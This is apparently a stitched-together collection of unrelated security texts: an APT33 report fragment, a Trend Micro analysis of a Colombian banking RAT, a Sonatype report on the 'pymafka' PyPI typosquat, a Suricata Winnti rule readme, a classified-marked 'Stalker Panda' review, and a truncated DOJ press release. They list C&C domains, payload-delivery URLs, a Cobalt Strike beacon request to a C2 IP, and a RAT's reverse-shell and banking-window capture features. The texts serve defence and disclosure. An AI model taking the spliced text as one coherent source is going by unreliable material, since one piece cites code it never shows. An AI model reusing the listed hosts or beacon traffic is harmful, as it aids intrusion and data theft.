renting a couple of servers in data centers around the world and using open-source software like OpenVPN. Although the connections from private VPNs still come from seemingly unrelated IP addresses around the world, this kind of traffic is actually easier to track. Once we know that an exit node is mainly being used by a particular actor, we can have a high degree of confidence about the attribution of the connections that are made from the IP addresses of the exit node. For example, besides administering C&C servers from a private VPN exit node, an actor might also be doing reconnaissance of targets’ networks. In regard to APT33, we were able to track private VPN exit nodes for more than a year. We could cross-relate the exit nodes with admin connections to servers controlled by APT33. It appears that these private VPN exit nodes are also used for reconnaissance of networks that are relevant to the supply chain of the oil industry. More concretely, we witnessed IP addresses that we believe are under the control of APT33 doing reconnaissance on the networks of an oil exploration company in the Middle East, an oil company in the U.S., and military hospitals in the Middle East. APT33 used its private VPN to access websites of penetration testing companies, webmail services, websites on vulnerabilities, and websites related to cryptocurrencies, and to read hacker blogs and forums. The group also has a clear interest in websites that specialize in the recruitment of employees in the oil and gas industry. The table shows a list of IP addresses that have been used by APT33. The IP addresses are likely to have been used for a longer time than the time frames indicated in the table. The data can be used to determine whether an organization was on the radar of APT33 for, say, reconnaissance or concrete compromises. | IP address | Date first seen | Date last seen | |------------|------------------|-----------------| | 5.135.120.57 | Dec. 4, 2018 | Jan. 24, 2019 | | 5.135.199.25 | March 3, 2019 | March 3, 2019 | | 31.7.62.48 | Sept. 26, 2018 | Sept. 29, 2018 | | 51.77.11.46 | July 1, 2019 | July 2, 2019 | | 54.36.73.108 | July 22, 2019 | Oct. 5, 2019 | | 54.37.48.172 | Oct. 22, 2019 | Oct. 31, 2019 | | 54.38.124.150 | Oct. 28, 2018 | Nov. 17, 2018 | | 88.150.221.107 | Sept. 26, 2019 | Oct. 31, 2019 | | 91.134.203.59 | Sept. 26, 2018 | Dec. 4, 2018 | | 109.169.89.103 | Dec. 2, 2018 | Dec. 14, 2018 | | 109.200.24.114 | Nov. 19, 2018 | Dec. 25, 2018 | For any company in the oil and gas industry, it might be a good idea to cross-relate these IP addresses with log files. ## Security Recommendations for the Oil and Gas Industry In this section, we give general advice that can help companies in the oil and gas industry combat threat actors. - **Perform data integrity checks.** While there may not be an immediate need for encrypting all data communications in an oil and gas company, there is some merit in taking steps to ensure data integrity. For example, with regard to the information from the different sensors at oil production sites, the risk of tampering with oil production can be reduced by at least making sure that all data communication is signed. This can greatly decrease the risk of man-in-the-middle attacks where sensor values could be changed or where a third party could alter commands or inject commands without authorization. - **Implement DNSSEC.** We have noticed that many oil and gas companies don’t have Domain Name System Security Extensions (DNSSEC) implemented. DNSSEC means digitally signing the DNS records of a domain name at the authoritative nameserver with a private key. DNS resolvers can check whether DNS records are properly signed. This checking can be done both on the corporate recursive DNS resolvers and at the clients. It is preferred to do DNSSEC validation at the clients as this ensures that DNSSEC checks are also done when employees use their corporate computing device while traveling or while working from home. DNSSEC helps to combat DNS spoofing and hijacking. As explained earlier in this paper, DNSSEC validation for all email clients in an organization can help raise the bar of an attack in case mail-related domains of the organization are DNS-hijacked. - **Lock down domain names.** Domain names can potentially be taken over by a malicious actor, for example, through an unauthorized change in the DNS settings. To prevent this, it is important to use only a DNS service provider that requires two-factor authentication for any changes in the DNS settings of the domains of an organization. - **Monitor SSL certificates.** For the protection of a brand name and for early warnings of possible upcoming attacks, it is important to monitor newly created SSL certificates that have certain keywords in the Common Name field. For example, a company can monitor for SSL certificates that have one of its brand names in the Common Name field. These SSL certificates could be used in credential-phishing attacks or malware attacks where the C&C server domain would not ring a bell immediately in log files. - **Look out for business email compromise.** Protection against business email compromise (BEC) is possible through spam filtering, user training for spotting suspicious emails, and AI techniques that will recognize writing styles of individuals in the company. Most individuals have a particular style of writing, and a writing DNA profile can be defined from a set of emails written by a specific person. Using the profiles of individuals in the company, an AI algorithm can potentially recognize BEC emails that attempt to mimic users (usually high-profile executives) within a company. - **Require at least two-factor authentication for webmail.** A webmail hostname might get DNS-hijacked or hacked because of a vulnerability in the webmail software. And webmail can also be attacked with credential-phishing attacks; a well-prepared credential-phishing attack can be quite convincing. The risk of using webmail can be greatly reduced by requiring two-factor authentication (preferably with a physical key) and corporate VPNs for webmail access. - **Hold employee training sessions for security awareness.** It is important to have regular training sessions for all employees. These sessions may include awareness training on credential phishing, spear phishing, social media use, data management, privacy policies, protecting intellectual property, and physical security. - **Monitor for data leaks.** Any important document should be watermarked in a way that makes it discoverable on the internet. Watermarks make it easier to find leaked documents since the company can constantly monitor for these specific marks. There are also companies that specialize in finding leaked data and compromised credentials; through active monitoring for leaks, potential damage to the company can be mitigated earlier. - **Keep VPN software up to date.** Several weaknesses in VPN software were found in recent years. For various reasons, some companies do not update their VPN software immediately after patches become available. This is particularly dangerous since APT actors start to probe for vulnerable VPN servers (including those of oil companies) as soon as a vulnerability becomes public. - **Review the security settings of cloud services.** For companies that use cloud services, a review of all security settings and proper risk assessment are necessary. Cloud services can boost efficiency and reduce cost, but companies sometimes forget to effectively use all security measures offered by the cloud services.
# Analysis of Visual Basic Malware in South American Spam Campaign In the spam campaign targeting the South American region, primarily Colombia, a group utilized a second stage payload written in Visual Basic 6 that resembles “Proyecto RAT,” a customizable remote access tool (RAT). This analysis discusses how this Visual Basic malware draws from "Proyecto RAT" and its similarities to the known Xpert RAT. ## Technical Analysis of the Visual Basic Malware Decompiling the malware reveals many classes, forms, and modules. Below are its features: **FrmCliente** is the main form of the malware. It includes several timers: - **Timer1** (interval 10000 ms): Initializes Winsock communication to a C&C server on hardcoded port 4444. - **Timer2** (interval 15000 ms): Reads the caption of the current foreground window. If the caption matches certain banking titles, it writes the caption into the configuration file ("LocalOffice\Conf.ini") under section "DN", variable "CAP", likely meaning “caption.” It also reports the caption back to the C&C server. Captions include: - BANCO DAVIVIENDA - AV VILLAS - Banca Colpatria Empresarial - Banca Virtual Personas - BANCO AGRARIO DE COLOMBIA - Banco de Bogotá - Bancolombia Sucursal Virtual Personas - Western Union, Giros y Finanzas - **Timer3** (interval 3000 ms): Creates directories (LocalOffice, Sys) and files (SpoolColorLV.exe) in %APPDATA%\Roaming, copying malware under a hardcoded filename. The executable file attributes are set to FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_HIDDEN. It checks for present drives and writes the variable “USB” to the configuration file if a removable drive is detected. It also establishes persistence via the registry and task scheduler. **FrmCliente** contains nine labels (label1 to label9) that invoke actions based on label caption changes. Notable ones include: - **Label2**: Writes the current date/time in the config file under section "DN", variable "NO" (C&C address). It sets the title of the hidden form to “On” or “CMD”, depending on the RAT version. - **Label5**: Writes a value in the config file under section "DN", variable "PAC". - **Label6**: Writes a value in the config file under section "MI", variable "x8" (likely x86). - **Label7**: Writes a value in the config file under section "MI", variable "x6" (likely x64). **WebBrowser1** is an object containing an HTML page with a YOPmail disposable email, from which the C&C configuration is acquired. **Form_Load** connects to YOPmail, parses C&C configuration, and reads installation date/time and banking website caption from the configuration file. **Socket_DataArrival** processes incoming communication, using "¡@#@!" as a separator between streams, similar to the Xpert RAT. The malware uses the following classes for its functions: - ClsExplorer - ClsCmd - ClsRemoteRegistry - ClsProcess - ClsDesktop The **FrmCliente** form is hidden but can be made visible using certain utilities. The current C&C server is confe[.]linkpc[.]net. **Module MdlGlobal** references API functions to collect information about the current machine. The decompiled code reveals a string linked to the Xpert RAT. **Class ClsSearch** includes functions for searching files, while **Module modGdipThumbnailStream** references API for screen capture. **Class ClsExplorer** implements various file operations and contains error messages in Spanish, such as: - "No se pudo copiar" - could not copy - "Acceso Denegado" - access denied **Class clsFileTransfer** uploads files from the local directory %appdata%\Sys\. **Module WinSock32** handles socket operations and data transfer. **Class ClsCmd** implements a reverse shell by calling cmd.exe, redirecting stdin, stdout, and stderr to a socket. **Class clsRegistry** manages registry operations, while **Class ClsRemoteRegistry** uses it for registry tasks. **Class ClsProcess** lists windows, processes, CPU usage, and available memory. **Module ModProcess** enumerates currently running processes and includes error messages in Spanish. **Class ClsDIB** contains functions for working with bitmaps, and **Class ClsCRC** calculates CRC checksums. **Module TSK** manages task scheduler jobs, and **Module MdlINI** handles INI file operations. ## Additional Spam Email Samples Various versions of spam emails were observed in this threat campaign, all requesting recipients to enable macros that would download and execute a RAT. ## Indicators of Compromise (IoCs) | Indicator | Trend Micro Detection | Note | |-----------|-----------------------|------| | 17020564ea92228794d9cd8db51f101b66d56a654f6606c | | Attachments | | 64040589a85f97470 | Trojan.W97M.DLOADR.TIOIBEEU | Attachments | | 9959968a7cdfa1ac21d5ad45f341e9f25c6ec931a786c3231 | | Attachments | | e851abe4d5fa138 | Trojan.W97M.DLOADR.TIOIBEEU | Attachments | | cb6d613402a5191aad7fc9245a63bca27cae465d7b669f65 | | Attachments | | eadad7bac654c164 | Trojan.W97M.MALINK.N | Attachments | | 66a745b77810b0dc02c9d6bd8a4576b61c86befa8ff6bd76 | | Attachments | | 358091edaa965569 | Trojan.W97M.PHISH.RFD | Attachments | | 308a67ed89716a959752514b18dfd2ce3250b56271c23e2 | | Attachments | | 59c710f1bbee62503 | Trojan.W97M.MALINK.N | Attachments | | 6fde92ec0f74ccec633dc5a8e79775d4be97beb7ff8735232 | | Attachments | | 36770480f322214 | Trojan.W97M.MALINK.N | Attachments | | bbc60cf2fac391e87c331cfebf5099693afc84a9bcde3cc34b | | Attachments | | f96649937ff4d8 | Trojan.W97M.MALINK.N | Attachments | | 010c7e44459efb676037c42e49bcfa5739cf6e79cf124412b | | Attachments | | f8d036f089d35ed | Trojan.W97M.MALINK.N | Attachments | | 633ce7e6316542d818c4508f1748f882a2023e16f9c81767 | | Attachments | | 18be5decf53849f5 | Trojan.W97M.MALINK.AD | Attachments | | 54f62dc39a0519acf3778a1f983773abfffd217035f74112f6 | | Attachments | | 36cd3d85006753 | Trojan.W97M.MALINK.AE | Attachments | | 3a43ba1f2e65291dd0093eb30f76280874d2db869e052e3 | | Attachments | | 976a585ed93a73b89 | Trojan.W97M.MALINK.N | Attachments | | 4EF15CF9F016466BFDA02E7C624795F126AE7FEA36496A | | Imminent RAT | | B4C19CC64B3833FA54 | Backdoor.MSIL.SHADESRAT.AI | Imminent RAT | | 455add204b7f78291358bf2f6aae05738ba12913bcfb34f2c | | Imminent RAT | | 4a614bffe7c8787 | Backdoor.MSIL.SHADESRAT.AI | Imminent RAT | | 39b5be95913c9914119f59c19ae255107d12d1a403b7c93 | | Imminent RAT | | edc7373fc4d6e50df | Backdoor.MSIL.SHADESRAT.AI | Imminent RAT | | 20D737E204B33AED75A8AF762F615694C8C4F72D97EB8 | | Imminent RAT | | 45194C56001BB0F8CEB | Backdoor.MSIL.SHADESRAT.AI | Imminent RAT | | 89a26a53852b698dedae8e32df73c58fc52e851cd24833c1 | | Imminent RAT | | dacf9cd68b106f18 | Backdoor.MSIL.SHADESRAT.AI | Imminent RAT | | 2CE1C5D236757211D56196ECFB7BF4957931A33C609F21 | | Imminent RAT | | BD5BFD5658736F2D4F | Backdoor.MSIL.SHADESRAT.AI | Imminent RAT | | 838B0273DE3757CF28F10053B70621A8AB1DAAF175846 | | Imminent RAT | | F770D30F0287A68F280 | Backdoor.MSIL.SHADESRAT.AI | Imminent RAT | | d3cb1c338575a376088dd2a9ab89c248ce28ba12d48512e | | Imminent RAT | | 3e855f00714fd9b07 | Backdoor.MSIL.SHADESRAT.AI | Imminent RAT | | 26449a7ca13c0419692dc20641022232680211cf2b181c87 | | Imminent RAT | | e50c1802b005b7b2 | Backdoor.MSIL.SHADESRAT.AI | Imminent RAT | | 2de0cd906b4dcdd17a35ee3a1edae46f115c7adcfa62cd77 | | Imminent RAT | | 1da18893b788a7da | Backdoor.MSIL.SHADESRAT.AI | Imminent RAT | | 13747da2dc6d5e123a657f63178aa44bb811c3f03bf49607 | | Imminent RAT | | bb46bd8f412a102f | Backdoor.MSIL.FYNLOSKI.AA | Imminent RAT | | 436611717cf191ce60d159643e082d83dc6d3dae95965e3 | | Imminent RAT | | 0aa248385c8e3decb | TrojanSpy.MSIL.IMMONRAT.AA | Imminent RAT | | 88bd7d3746595c32e927596d1c761908e3ebf1240386bae | | Imminent RAT | | 971f925e9bd50b023 | TrojanSpy.MSIL.BOILOD.AA | Imminent RAT | | ac7592b651f35ed48262c009e993030c166b824002f71d42 | Proyecto RAT / | | | 7340177d11a88092 | TrojanSpy.MSIL.BOILOD.AA | Xpert RAT | | 52501a2c19758d825b9fd6bbfe70d47fda24ffbfe15a5441a | Proyecto RAT / | | | 44f791af8b8c705 | TrojanSpy.Win32.BOILOD.AA | Xpert RAT | | 8F839A36958BE2C8301DA94D669A1513956CB9511090D | Proyecto RAT / | | | 3B9113176927A272E3D | Trojan.MSIL.BOILOD.SM4.hp | Xpert RAT | | E4B482D1FF18344C380E5B7AF97E88B57E82826B693290 | Proyecto RAT / | | | FD2BDA12CE4A568D28 | TrojanSpy.MSIL.BOILOD.AA | Xpert RAT | | d0fc383de8ea4108d24f85059f8aef234ba0f933097240b22 | Proyecto RAT / | | | c3afe4782083770 | TrojanSpy.MSIL.BOILOD.AA | Xpert RAT | | a22b27af3f245e8f1641be994b3ac2dbe97de88676334bc1 | Proyecto RAT / | | | 09fe901ceec88610 | TrojanSpy.MSIL.BOILOD.AA | Xpert RAT | | 2525156f5a41b3e667141c2575a6b6f5dcaea30b317c7ec0 | Proyecto RAT / | | | 7038964cb6810293 | TrojanSpy.MSIL.BOILOD.AA | Xpert RAT | | 1b22eff27b7bb373e8bc529413b389a10a714fe87da31e1f | Proyecto RAT / | | | 2bb03e43b013375d | BKDR_HPBLADABINDI.SMZ | Xpert RAT | | b07cf78fccbe4df92d24a272d89f760e893707204581577df | Proyecto RAT / | | | 4ed0c942220d9d7 | Backdoor.MSIL.XRAT.AA | Xpert RAT | | beb04adf9eae6a0b0bec01140a864e9cce4755cebee9c195 | Proyecto RAT / | | | 8270e3a383e129c6 | Backdoor.MSIL.XRAT.AA | Xpert RAT | | 453f2e74f83db5ea9ad5f396468f3f57044c983d28994a36 | Proyecto RAT / | | | b199f3b13024aed2 | Backdoor.MSIL.XRAT.AA | Xpert RAT | | c9cecaf200b7099b7adf0eb00ea38c412dfe38836ac62a20 | Proyecto RAT / | | | 066fac1ec70ebdc3 | Backdoor.MSIL.XRAT.AA | Xpert RAT | | dde4b700ecb15433757619e022542d63957b594675f1b74 | Proyecto RAT / | | | f3858f101f1fe8468 | Backdoor.MSIL.XRAT.AA | Xpert RAT | | af4a9c25496392f184ccfc0ae0f24c55f065193bb7246275b | Proyecto RAT / | | | 30abc89f3d40b69 | Backdoor.MSIL.XRAT.AA | Xpert RAT | | 80d416d3b4365da4e75ba83de050077d46f4111c2af098c | Warzone RAT | | | 21694a30a86d42cfe | TrojanSpy.MSIL.AVEMARIA.C | | | 392ce9a1be9b7a5117c467225ffcb82cfa565f75454d | Email samples | | | 3b805ff89df1b5269161 | Email samples | | | 4e1612af9299f3d9e788de6b6d1c6bf8e4cd91dd9b0 | Email samples | | | a8adcfc430cf84916f280 | Email samples | | | ceda4f437d7b446e1d9fd0acbc67660a777aefbf11aa | Email samples | | | 9142045ffbcc4a4a06f6 | Email samples | | | 22a58844102bf2ac85d07e4af3aaada94c2fd07515b7 | Email samples | | | 989785cff0368d4186d4 | Email samples | | | 171d0de9e9ec9dcf4912779f3fce2c27ef69a56067bd | Email samples | | | 542a38bf07c58d69443c | Email samples | | | f55d3e1e34624d2281925abf4a7d97fbf376c942f60c | Email samples | | | 2c9ee5198979d0aae751 | Email samples | | | 1b2e649ee6063c39fcfade8fe7b87f7ea4ce66bcb4efe | Email samples | | | 3622e3ba8580d1860b0 | Email samples | | | 56c29d66b5509c1192042c4ec1a6f6ee8924502d850 | Email samples | | | 3de4f1ef0de2edf1b0df7 | Email delivery documents | | | 462983fbf30891c7e746345c84ebb2ec06618e80e3f0 | Email delivery documents | | | 99ab7634b0410501d2a6 | Email delivery documents | | | b763d7f59864aacc9b4af6c74fee1caafd950b66db66 | Email delivery documents | | | 7082e84a787c32b983de | Email delivery documents | | | 96cfdfb176b2ccdc4fffda1abaaf158dd9acf55fba6a04 | Email delivery documents | | | 37a7087773240f14fe | Email delivery documents | | | 4f835e9766cbef7b243ad5dd97d61530cf00053a5fd2 | Email delivery documents | | | 47725bfd5f8485185110 | Email delivery documents | | | e73c3f9c1ee5695482dfe45d1b71fe84ca5ba921ee66 | Email delivery documents | | | 465f0bfba8725dde47e7 | Email delivery documents | | | c042f1a3cfd1941fb4b3570bfa07b6539dfb4d0243a6 | Email delivery documents | | | 1e6f8309c6e3ddd5380f | Email delivery documents | | | 4703585c610740dec855aa2c60fa1434bece3a91df79 | Email delivery documents | | | b34ddffab7cbd5f0e7eb | Email delivery documents | | | c78c397446c17fd68cadb0933e70a75201e79ecb46 | Email delivery documents | | | 22de033ac312613daedfbb0ccf7399e12f72165179dd | Email delivery documents | | | dd03eb7e6a1e3ae0e8c3 | Email delivery documents | | | c4ca6ba35556d0535fefc84c1b92d94b738c5916e196 | Email delivery documents | | | 69529717c72de079ff89 | Email delivery documents | | | 28ae97b9a92bc7eb9013e84aad7373f104191712f9a | Email delivery documents | | | df3a2a8b06e0abb3b4fb5 | Email delivery documents | | | c26514bab11d961f230e800553de663fd247a662724 | Email delivery documents | | | 2014e290b519b25ef33c5 | Email delivery documents | | | ceosas[.]linkpc[.]net | C&C URLs | | | confe[.]linkpc[.]net | C&C URLs | | | medicosco[.]publicvm[.]com | C&C URLs | | | medicosta[.]linkpc[.]net | C&C URLs | | | perfect1[.]publicvm[.]com | C&C URLs | | | hxxp://95[.]179[.]168[.]23/pf[.]exe | Payload delivery URLs | | | hxxp://144[.]202[.]19[.]31/pf[.]exe | Payload delivery URLs | | | hxxp://diangovcomuiscia[.]com/media/a[.]jpg | Payload delivery URLs | | | hxxp://eltiempocomco[.]com/bogota/pf[.]exe | Payload delivery URLs | | | hxxp://eltiempocomco[.]com/f[.]jpg | Payload delivery URLs | | | hxxp://eltiempocomco[.]com/pf[.]exe | Payload delivery URLs | | | hxxp://medicosempresa[.]com/image/l[.]jpg | Payload delivery URLs | | | hxxp://medicosempresa[.]com/image/win[.]jpg | Payload delivery URLs | | Trend Micro, a global leader in cybersecurity, helps to make the world safe for exchanging digital information. Trend Micro Research is powered by experts who are passionate about discovering new threats, sharing key insights, and supporting efforts to stop cybercriminals. Our global team helps identify millions of threats daily, leads the industry in vulnerability disclosures, and publishes innovative research on new threats techniques. We continually work to anticipate new threats and deliver thought-provoking research.
# New 'pymafka' Malicious Package Drops Cobalt Strike on macOS, Windows, Linux This week, Sonatype's automated malware detection bots have discovered the malicious Python package 'pymafka' in the PyPI registry. The package appears to typosquat a legitimate popular library PyKafka, a programmer-friendly Apache Kafka client for Python. This follows our discovery of another typosquat targeting the Apache Kafka project earlier this month. PyKafka includes Python implementations of Kafka producers and consumers and has been retrieved over 4,240,305 times by user-initiated downloads and mirrors/bots alike. In contrast, the malicious 'pymafka' shows a download count of around 300 as Sonatype timely reported the finding to PyPI. ## PyMafka Drops Cobalt Strike on Windows, macOS On May 17th, a mysterious 'pymafka' package appeared on the PyPI registry. The package was shortly flagged by the Sonatype Nexus platform's automated malware detection capabilities. The package, 'pymafka', may sound identical to the popular PyKafka, but its insides reveal a different story. The 'setup.py' Python script inside 'pymafka' first detects your platform. Depending on whether you are running Windows, macOS, or Linux, an appropriate malicious trojan is downloaded and executed on the infected system. The trojan in question is a Cobalt Strike (CS) beacon. Cobalt Strike is a pen-testing software tool typically used by red teams and ethical hackers for simulating real-world cyberattacks, especially during security assessments. However, attackers, including ransomware groups like LockBit, have abused Cobalt Strike to infect victims. Interestingly, as evident from the code below, on Windows systems, the Python script attempts to drop the Cobalt Strike beacon at 'C:\Users\Public\iexplorer.exe'. This misspelling stands out as the legitimate Microsoft Internet Explorer process is typically called "iexplore.exe" (no 'r' at the end) and isn't present in the C:\Users\Public directory. The malicious executables being downloaded are 'win.exe' and 'MacOS', with their names corresponding to their target operating systems. Both of these are downloaded from the IP address 141.164.58[.]147, commissioned by the cloud hosting provider, Vultr. These executables attempt to contact the China-based IP 39.106.227[.]92, which is assigned to Alisoft (Alibaba). Less than a third of antivirus engines detected the samples as malicious at the time of our submission to VirusTotal, although that's still a better detection rate than zero-detections seen in some of our earlier discoveries. On Windows, we observed the payload also kept persistently surveying the '/updates.rss' endpoint and sending encrypted cookie values in requests, a behavior consistent with Cobalt Strike beacons. ``` GET /updates.rss HTTP/1.1 Accept: */* Cookie: mZoD7LYrA/... User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; LG; LG-E906) Host: 39.106.227.92:8445 Connection: Keep-Alive Cache-Control: no-cache ``` For Linux systems, the Python script attempts to download and run an "env" executable from the IP address 39.107.154[.]72 (also Alibaba-owned), which at the time of analysis was down. We reported these findings to the PyPI registry shortly after catching and analyzing the package, and the malicious package was taken down yesterday, just before reaching ~300 downloads. ## File IOCs The indicators of compromise (IOCs) associated with this campaign are given below. - win.exe: 137edba65b32868fbf557c07469888e7104d44911cd589190f53f6900d1f3dfb - MacOS: b117f042fe9bac7c7d39eab98891c2465ef45612f5355beea8d3c4ebd0665b45 - Python package 'pymafka-3.0.tar.gz': 4de4f47b7f30ae31585636afd0d25416918d244fcc9dfe50967a47f68bb79ce1 ## Nexus Firewall Users Remain Protected It's been a busy start to the month already. Due to the heavy influx of malicious packages lately, we have launched This Week in Malware digests, published every Friday, and delivered automatically to blog subscribers. Earlier this month, Sonatype reported attackers typosquatting the popular npm library 'colors', and not for the first time either. Last week, we came across even more 'colors' typosquats and a malicious Rust package 'rustdecimal' that uses elusive XOR encryption to drop malware. We further analyzed a different Apache Kafka typosquat and reported several dependency confusion packages to both npm and PyPI registries, thereby keeping the open source community and our customers safe. As predicted, the attacks on open source registries are continuing to surge as the cybersecurity community from across the world is focused on battling the ongoing international crisis. Between March & April, we reported on a sharp uptick in open source attacks after discovering a 'fix-crash' info-stealer and 500+ malicious npm packages. That was on top of the 400+ packages targeting Azure, Airbnb, and Uber developers discovered recently. Users of Nexus Firewall can rest easy knowing that such malicious packages would automatically be blocked from reaching their development builds. Nexus Firewall instances will automatically quarantine any suspicious components detected by our automated malware detection bots while a manual review by a researcher is in the works, thereby keeping your software supply chain protected from the start. Sonatype’s world-class security research data, combined with our automated malware detection technology safeguards your developers, customers, and software supply chain from infections. **Tags:** vulnerabilities, Nexus Firewall, PyPI, malware prevention, pypi vulnerability, DevZone **Written by Ax Sharma** Ax is a Security Researcher at Sonatype and Engineer who holds a passion for perpetual learning. His works and expert analyses have frequently been featured by leading media outlets. Ax's expertise lies in security vulnerability research, reverse engineering, and software development. In his spare time, he loves exploiting vulnerabilities ethically and educating a wide range of audiences.
# Suricata Rules to Detect Winnti Communication This ruleset enables Suricata to detect the handshake of certain Winnti variants as seen in the wild in 2016/2017. ## Winnti Winnti is a malware that is used by some APT groups. It has been used since at least 2013 and has evolved over time. ## Handshake The driver component of Winnti (aka "NdisReroute") is able to reroute network traffic from ports that are already occupied by legit applications to the malware's userspace component. The first packet of a TCP stream signals the driver that the stream shall be rerouted. I call such a packet a "Winnti HELO". It is exactly 16 bytes long and the bytes match the following relation: ### Winnti Handshake Example: ``` dw0 dw1 dw2 dw3 5B 44 B4 91 xx xx xx xx 31 18 30 59 [84 C8] {6A 5C} 5B 44 B4 91 == 31 18 30 59 ^ {6A 5C} [84 C8] ``` - dw0 calculated from dw2 and dw3 - dw1 random but not zero. Only seen timestamps in here but any value works. - dw2 random but not zero - dw3 random but not zero ## Installation Copy the rules and lua files to your Suricata rules directory: ``` cp winnti.lua /etc/suricata/rules/ cp winnti.rules /etc/suricata/rules/ ``` Activate the rules by adding them to `suricata.yaml`: ``` rule-files: - winnti.rules ```
# Pique Analysis Report 20150814-256-CSIR-15005-Stalker Panda ## 1.0 (U) Analysis Summary (S//NF) This report outlines the series of attacks and tools attributed to a suspected Chinese affiliated group known as “Stalker Panda.” The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. Stalker Panda has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States. The attacks appear to be centered on political, media, and engineering sectors. The group appears to have been active since around 2010 and they maintain and upgrade their tools regularly. (S//NF) Stalker Panda has been observed using several different RATs that seem to be exclusive to the group. The RATs the group uses are Elirks, SharpServer, Blogspot, and the XUni platform. Elirks is the subject of Pique report 20150814-257-CSIT-15016-Elirks. SharpServer was developed for .Net. (S//NF) A fairly unique aspect of the observed Stalker Panda attacks is their use of social media and blog sites as first stage (cutout) command and control (C2) infrastructure. This 2-stage C2 infrastructure provides some obfuscation of the main C2 servers and provides some flexibility in communications because the first stage social media/blog site nodes can be reconfigured at will. (S//NF) Stalker Panda seems to favor spear phishing email campaigns as their attack vector. In some cases, the victims were social engineered into browsing to a compromised website that leveraged CVE-2014-6332 (Windows OLE vulnerability). Once the vulnerability is triggered, malicious content is downloaded to the victim’s machine using a PowerShell script. In other instances, Stalker Panda has been observed attaching malicious documents (.PDF) to their email spears leveraging CVE-2011-0611 (Adobe Flash, Reader, and Acrobat vulnerability). (S//NF) Stalker Panda’s current ‘go to’ implant appears to be Elirks, which is detailed in another report; however, we’ll provide a brief overview here. Elirks uses a standard persistence technique whereby they create a shortcut in the victim’s startup folder. Elirks uses an interesting custom cryptographic routing to provide obfuscation. The configuration file is stored in the binary encrypted, and the decryption key itself is also encrypted. The algorithm combines 8 DWORDs with Boolean operations (right-shift 25 bits and left-shift 7 bits) to derive a 16-bit key. The resulting key is used with a modified AES-128 algorithm where the key expansion function uses a bit-rotation of 8 bits to the right (ROR-8) instead of left as specified in the AES standard. The capabilities once on platform. Elirks uses the multi-stage C2 communications pattern with social media or blog sites as the first node. (S//NF) SharpServer is a .Net-based RAT with similar capabilities as Elirks, but without a persistence mechanism. The code is obfuscated with .Net’s dotfuscator (which is fairly easy to reverse). The report mentions that SharpServer exhibits a “low level of sophistication.” (S//NF) Blogspot is a RAT that also uses the multi-stage C2 infrastructure as does Elirks and SharpServer. Blogspot differs from Elirks and SharpServer in one respect: Elirks and SharpServer have the next-stage C2 information stored in the form visible to arbitrary website visitors, Blogspot’s tokens do not render and are not visible to other visitors. There is nothing interesting, unique, or sophisticated about the Blogspot RAT. (S//NF) The XUni RAT is closely related to Blogspot. Earlier versions of XUni have been seen since around 2010, but an updated version has been observed in operation in early 2014. The report authors speculate that the 2014 version of XUni is meant to replace Blogspot. XUni uses the same C2 protocol as the other RATs used by Stalker Panda (multi-stage C2 architecture). One interesting aspect of Xuni’s first-stage social media site interaction is it automatically leaves comments on the site to mimic benign user activity. Like the other RATs, XUni is a simplistic RAT in terms of functionality and is used primarily to download additional capabilities once on target. XUni achieves persistence by placing a shortcut in the victim’s startup folder. (S//NF) While an interesting report on Stalker Panda’s activities, there is nothing unique or interesting in how it implements its functionality. Their RAT multi-stage C2 infrastructure is interesting but more a notable overall architectural item but not something we can make a PoC recommendation on. There are no PoC recommendations from this report. ## 2.0 (U) Description of the Technique (S//NF) Not applicable since there are no PoC recommendations from this report. ## 3.0 (U) Identification of Affected Applications (U) Windows. ## 4.0 (U) Related Techniques (S//NF) Generic RATs and distributed C2 communications. ## 5.0 (U) Configurable Parameters (S//NF) Varied depending on the multi-stage C2 configuration. ## 6.0 (U) Exploitation Method and Vectors (S//NF) The exploitation methods discussed in this report are CVE-2011-0611 (Adobe Flash, Reader, and Acrobat vulnerability) and CVE-2014-6332 (Windows OLE vulnerability). The attack vector discussed is spear phishing email campaigns and social engineering. ## 7.0 (U) Caveats (U) None. ## 8.0 (U) Risks (S//NF) Not applicable as no PoCs are recommended. ## 9.0 (U) Recommendations (S//NF) No PoCs are recommended.
# Newly Unsealed Indictment Charges Ukrainian National with International Cybercrime Operation **October 25, 2022** Department of Justice U.S. Attorney’s Office Western District of Texas AUSTIN – A newly unsealed federal grand jury indictment charges Mark Sokolovsky, 26, a Ukrainian national, for his alleged role in an international cybercrime operation known as Raccoon Infostealer, which infected millions of computers around the world with malware. According to court documents, Sokolovsky, who is currently being held in the Netherlands pursuant to an extradition request by the United States, conspired to operate the Raccoon Infostealer as a malware-as-a-service or “MaaS.” Individuals who deployed Raccoon Infostealer to steal data from victims leased access to the malware for approximately $200 per month, paid for by cryptocurrency. These individuals used various ruses, such as email phishing, to install the malware onto the computers of unsuspecting victims. Raccoon Infostealer then stole personal data from victim computers, including log-in credentials, financial information, and other personal records. Stolen information was used to commit financial crimes or was sold to others on cybercrime forums. In March 2022, concurrent with Sokolovsky’s arrest by Dutch authorities, the FBI and law enforcement partners in Italy and the Netherlands dismantled the digital infrastructure supporting the Raccoon Infostealer, taking its then existing version offline. Through various investigative steps, the FBI has collected data stolen from many computers that cyber criminals infected with Raccoon Infostealer. While an exact number has yet to be verified, FBI agents have identified more than 50 million unique credentials and forms of identification (email addresses, bank accounts, cryptocurrency addresses, credit card numbers, etc.) in the stolen data from what appears to be millions of potential victims around the world. The credentials appear to include over four million email addresses. The United States does not believe it is in possession of all the data stolen by Raccoon Infostealer and continues to investigate. The FBI has created a website where anyone can input their email address to determine whether it is contained within the U.S. government’s repository of Raccoon Infostealer stolen data. If the email address is within the data, the FBI will send an email to that address notifying the user. Potential victims are encouraged to fill out a detailed complaint and share any financial or other harm experienced from their information being stolen at FBI’s Internet Crime Complaint Center (IC3). “This case highlights the importance of the international cooperation that the Department of Justice and our partners use to dismantle modern cyber threats,” said Deputy Attorney General Lisa O. Monaco. “As reflected in the number of potential victims and global breadth of this attack, cyber threats do not respect borders, which makes international cooperation all the more critical. I urge anyone who thinks they could be a victim to follow the FBI’s guidance on how to report your potential exposure.” “I applaud the hard work of the agents and prosecutors involved in this case as well as our international partners for their efforts to disrupt the Raccoon Infostealer and gather the evidence necessary for indictment and notification to potential victims,” U.S. Attorney Ashley C. Hoff said. “This type of malware feeds the cybercrime ecosystem, harvesting valuable information and allowing 